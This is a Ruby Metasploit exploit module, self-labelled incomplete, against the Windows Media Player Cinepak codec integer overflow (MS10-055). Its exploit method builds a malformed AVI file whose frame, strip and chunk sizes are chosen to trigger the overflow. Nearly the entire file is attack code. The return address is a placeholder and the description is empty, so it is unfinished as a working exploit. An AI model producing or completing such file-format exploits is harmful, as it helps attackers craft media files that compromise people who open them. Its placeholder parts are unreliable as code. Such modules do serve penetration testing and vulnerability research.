##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::RIFF

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '[INCOMPLETE] Microsoft Windows Media Player Cinepak Codec Integer Overflow',
			'Description'    => %q{
					...
				...
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Anonymous',  # Found bug, sold to ZDI
					'jduck'       # Metasploit module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '66984' ],
					[ 'MSB', 'MS10-055' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', { 'Ret' => 0xdeadbeef } ], # ??
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 10 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.avi']),
			], self.class)
	end


	def exploit

		# Generate the malformed AVI :)
		width = 176
		height = 144
		num_frames = 3*25 # 3 seconds worth

		# Stream List
		strl = ''

		# Stream Header
		strh = ''
		strh << 'vids'  # fccType
		strh << 'cvid'  # fccHandler
		strh << [
			0x10000,     # dwFlags
			0,           # wPriority
			0,           # wLanguage
			0,           # dwInitialFrames
			0x9c40,      # dwScale
			0xf4240,     # dwRate
			0,           # dwStart
			num_frames,  # dwLength
			0,           # dwSuggestedBufferSize
			-1,          # dwQuality
			0,           # dwSampleSize
			0,0,0,0      # rcFrame (rect)
		].pack('VvvVVVVVVVVvvvv')
		strl << riff_chunk('strh', strh)

		# Stream Format
		strf = ''
		strf << [
			0x28,        # biSize
			width,       # biWidth
			height,      # biHeight
			1,           # biPlanes
			24,          # biBitCount
		].pack('VVVvv')
		strf << 'cvid'  # biCompression
		strf << [
			0,           # biSizeImage
			0,           # biXPelsPerMeter
			0,           # biYPelsPerMeter
			0,           # biClrUsed
			0,           # biClrImportant
		].pack('VVVVV')
		strl << riff_chunk('strf', strf)

		strd = "A" * 1024
		strl << riff_chunk('strd', strd)

		# Header List
		hdrl = ''

		# AVI Main Header
		avih = [
			0x9c40,      # dwMicroSecPerFrame
			0,           # dwMaxBytesPerSec
			0,           # dwPaddingGranularity
			0x10,        # dwFlags
			num_frames,  # dwTotalFrames
			0,           # dwInitialFrames
			1,           # dwStreams
			0,           # dwSuggestedBufferSize
			width,       # dwWidth
			height,      # dwHeight
			0,0,0,0      # dwReserved[4]
		].pack('VVVVVVVVVVVVVV')
		hdrl = riff_chunk('avih', avih)

		# Add  the stream list
		hdrl << riff_list_chunk('LIST', 'strl', strl)

		# The movi frames
		chnk_id = 0x20 + rand(20)
		chnk_id = 0x31

		movi = ''
		offsets = []
		fr_lens = []
		num_frames.times { |frx|
			offsets << movi.length
			if frx == 25
				fr_len = 0x1a00 + rand(0x180000)
				num_strips = 0x2000
				fr_len = num_strips * 0x300
			else
				fr_len = 0x1a00 + rand(0x200)
				num_strips = 0x40
			end
			fr_lens << fr_len

			# frame header
			frhdr = [fr_len - 0x20].pack('N')   # 24 bit len
			fr_id = rand(2)
			frhdr[0,1] = [fr_id].pack('C')      # flags (prev codebook used?)
			frhdr << [
				width,
				height,
				num_strips    # number of coded strips
			].pack('nnn')

			# strips
			strip_len = fr_len / num_strips
			num_strips.times { |stx|
				# strip header
				shdr = [strip_len].pack('N')     # 24 bit strip size
				strip_id = 0x10 + rand(2)
				shdr[0,1] = [strip_id].pack('C') # strip CVID id
				shdr << [
					0,       # top
					0,       # left
					0xffff,  # bottom
					width    # right
				].pack('nnnn')

				# CVID Chunk
				chnk = ''
				if stx == 0
					chnk_len = 0x1000 * 4
					left = strip_len - shdr.length
					while left > 0
						if left < chnk_len
							tmp = "A" * (chnk_len - 4)
						else
							tmp = [chnk_len].pack('N')  # 24 bit chunk data size
							tmp[0,1] = [chnk_id].pack('C') # CVID chunk id
							tmp << "A" * (chnk_len - 4)
						end
						chnk << tmp
						left -= tmp.length
					end
				else
					chnk_len = strip_len - shdr.length
					chnk << [chnk_len].pack('N')   # 24 bit chunk data size
					#chnk_id = 0x20 + rand(20)
					chnk[0,1] = [chnk_id].pack('C') # CVID chunk id
					chnk << rand_text(chnk_len)
				end

				fr_data = ''
				fr_data << frhdr
				fr_data << shdr
				fr_data << chnk

				movi << riff_chunk('00dc', fr_data)
			}
		}

		# Put the AVI list together
		avil = ''
		avil << riff_list_chunk('LIST', 'hdrl', hdrl)

		# Build the idx1 chunk
		idx1 = ''
		num_frames.times { |x|
			# add the hdrl, riff chunk bytes, and movi chunk bytes on
			off = offsets[x] + 0x0c + (0x0c + hdrl.length) + 0x0c
			fr_len = fr_lens[x]

			# dwChunkId
			idx1 << '00dc'
			idx1 << [
				0x12,     # dwFlags
				off,      # dwOffset
				fr_len    # dwSize
			].pack('VVV')
		}

		avil << riff_list_chunk('LIST', 'movi', movi)
		avil << riff_chunk('idx1', idx1)

		# Wrap it in the RIFF chunk
		avi = riff_list_chunk('RIFF', 'AVI ', avil)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(avi)

	end

end
